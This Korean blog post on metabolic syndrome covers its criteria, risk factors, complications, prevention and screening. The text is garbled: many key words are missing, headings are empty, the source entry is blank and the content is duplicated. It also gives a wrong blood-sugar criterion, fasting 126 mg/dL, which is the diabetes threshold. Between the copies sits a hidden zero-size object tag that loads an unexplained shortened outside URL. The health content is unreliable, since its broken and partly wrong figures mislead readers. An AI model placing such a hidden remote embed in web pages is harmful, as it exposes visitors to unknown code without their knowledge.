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<div _ngcontent-ng-c3376406522="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:30">현대인의 숨겨진 위협, 대사증후군: 과 예방법</h2><p data-sourcepos="3:1-3:27">대사증후군 개요: </p><p data-sourcepos="5:1-5:115"><strong>대사증후군</strong>은 복부 비만, 고혈압, 고혈당, 이상지질혈증(HDL 저하, 중성지방 증가) 중 3가지 이상이 동시에 나타나는 입니다. 겉으로는 별도의 이 없어 '고요한 살인자'라고 불리기도 합니다.</p><p data-sourcepos="7:1-7:6"><strong></strong></p><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:40"><strong>복부 비만</strong>: 허리둘레 남성 90cm 이상, 여성 85cm 이상</li>
<li data-sourcepos="10:1-10:28"><strong>고혈압</strong>: 혈압 130/85 mmHg 이상</li>
<li data-sourcepos="11:1-11:51"><strong>고혈당</strong>: 공복 혈당 126mg/dL 이상, 식후 2시간 혈당 200mg/dL 이상</li>
<li data-sourcepos="12:1-13:0"><strong>이상지질혈증</strong>: HDL 콜레스테롤 40mg/dL 미만, 중성지방 150mg/dL 이상</li>
</ul><p data-sourcepos="14:1-14:9"><strong>위험 요인</strong></p><ul data-sourcepos="16:1-19:0">
<li data-sourcepos="16:1-16:36"><strong>생활 습관</strong>: 운동 부족, 과식, 음주, 흡연, 스트레스</li>
<li data-sourcepos="17:1-17:27"><strong>가족력</strong>: 부모 형제 중 대사증후군 환자</li>
<li data-sourcepos="18:1-19:0"><strong>기저 </strong>: 당뇨병, 고혈압, 심혈관 </li>
</ul><p data-sourcepos="20:1-20:7"><strong>합병증</strong></p><ul data-sourcepos="22:1-25:0">
<li data-sourcepos="22:1-22:24"><strong>심혈관 </strong>: 심근 경색, 뇌졸중</li>
<li data-sourcepos="23:1-23:17"><strong>당뇨병</strong>: 2형 당뇨병</li>
<li data-sourcepos="24:1-25:0"><strong>지방간</strong>: 간경변, 간암</li>
</ul><p data-sourcepos="26:1-26:7"><strong>예방법</strong></p><ul data-sourcepos="28:1-31:0">
<li data-sourcepos="28:1-28:47"><strong>식이요법</strong>: 식이섬유 섭취, 포화지방 및 트랜스지방 감소, 나트륨 섭취 감소</li>
<li data-sourcepos="29:1-29:36"><strong>운동요법</strong>: 매일 30분 이상 유산소 운동 및 근력 운동</li>
<li data-sourcepos="30:1-31:0"><strong>생활 습관 개선</strong>: 금연, 절주, 스트레스 관리</li>
</ul><p data-sourcepos="32:1-32:6"><strong>검진</strong></p><ul data-sourcepos="34:1-36:0">
<li data-sourcepos="34:1-34:25"><strong>40세 이상 성인</strong>: 매년 검진 권장</li>
<li data-sourcepos="35:1-36:0"><strong>20~39세 성인</strong>: 위험 요인이 있는 경우 검진 권장</li>
</ul><p data-sourcepos="37:1-37:6"><strong></strong></p><ul data-sourcepos="39:1-41:0">
<li data-sourcepos="39:1-39:34"><strong>생활 습관 개선</strong>: 식이요법, 운동요법, 금연, 절주</li>
<li data-sourcepos="40:1-41:0"><strong>약물 </strong>: 고혈압, 고혈당, 이상지질혈증 </li>
</ul><p data-sourcepos="42:1-42:10"><strong> 출처</strong></p><ul data-sourcepos="44:1-45:0">
<li data-sourcepos="44:1-45:0">대사증후군 개요: </li>
</ul><p data-sourcepos="46:1-46:6"><strong>결론</strong></p><p data-sourcepos="48:1-48:89">대사증후군은 심각한 합병증을 유발할 수 있지만, 생활 습관 개선을 통해 예방하고 관리할 수 있습니다. 정기적인 검진과 건강한 생활 습관 유지로 건강을 지키세요.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="9:1-9:40"><strong>복부 비만</strong>: 허리둘레 남성 90cm 이상, 여성 85cm 이상</li>
<li data-sourcepos="10:1-10:28"><strong>고혈압</strong>: 혈압 130/85 mmHg 이상</li>
<li data-sourcepos="11:1-11:51"><strong>고혈당</strong>: 공복 혈당 126mg/dL 이상, 식후 2시간 혈당 200mg/dL 이상</li>
<li data-sourcepos="12:1-13:0"><strong>이상지질혈증</strong>: HDL 콜레스테롤 40mg/dL 미만, 중성지방 150mg/dL 이상</li>
</ul><p data-sourcepos="14:1-14:9"><strong>위험 요인</strong></p><ul data-sourcepos="16:1-19:0">
<li data-sourcepos="16:1-16:36"><strong>생활 습관</strong>: 운동 부족, 과식, 음주, 흡연, 스트레스</li>
<li data-sourcepos="17:1-17:27"><strong>가족력</strong>: 부모 형제 중 대사증후군 환자</li>
<li data-sourcepos="18:1-19:0"><strong>기저 </strong>: 당뇨병, 고혈압, 심혈관 </li>
</ul><p data-sourcepos="20:1-20:7"><strong>합병증</strong></p><ul data-sourcepos="22:1-25:0">
<li data-sourcepos="22:1-22:24"><strong>심혈관 </strong>: 심근 경색, 뇌졸중</li>
<li data-sourcepos="23:1-23:17"><strong>당뇨병</strong>: 2형 당뇨병</li>
<li data-sourcepos="24:1-25:0"><strong>지방간</strong>: 간경변, 간암</li>
</ul><p data-sourcepos="26:1-26:7"><strong>예방법</strong></p><ul data-sourcepos="28:1-31:0">
<li data-sourcepos="28:1-28:47"><strong>식이요법</strong>: 식이섬유 섭취, 포화지방 및 트랜스지방 감소, 나트륨 섭취 감소</li>
<li data-sourcepos="29:1-29:36"><strong>운동요법</strong>: 매일 30분 이상 유산소 운동 및 근력 운동</li>
<li data-sourcepos="30:1-31:0"><strong>생활 습관 개선</strong>: 금연, 절주, 스트레스 관리</li>
</ul><p data-sourcepos="32:1-32:6"><strong>검진</strong></p><ul data-sourcepos="34:1-36:0">
<li data-sourcepos="34:1-34:25"><strong>40세 이상 성인</strong>: 매년 검진 권장</li>
<li data-sourcepos="35:1-36:0"><strong>20~39세 성인</strong>: 위험 요인이 있는 경우 검진 권장</li>
</ul><p data-sourcepos="37:1-37:6"><strong></strong></p><ul data-sourcepos="39:1-41:0">
<li data-sourcepos="39:1-39:34"><strong>생활 습관 개선</strong>: 식이요법, 운동요법, 금연, 절주</li>
<li data-sourcepos="40:1-41:0"><strong>약물 </strong>: 고혈압, 고혈당, 이상지질혈증 </li>
</ul><p data-sourcepos="42:1-42:10"><strong> 출처</strong></p><ul data-sourcepos="44:1-45:0">
<li data-sourcepos="44:1-45:0">대사증후군 개요: </li>
</ul><p data-sourcepos="46:1-46:6"><strong>결론</strong></p><p data-sourcepos="48:1-48:89">대사증후군은 심각한 합병증을 유발할 수 있지만, 생활 습관 개선을 통해 예방하고 관리할 수 있습니다. 정기적인 검진과 건강한 생활 습관 유지로 건강을 지키세요.</p></div>
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현대인의 고민 대사증후군 증상과 예방법
박송이
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24.07.17 21:24
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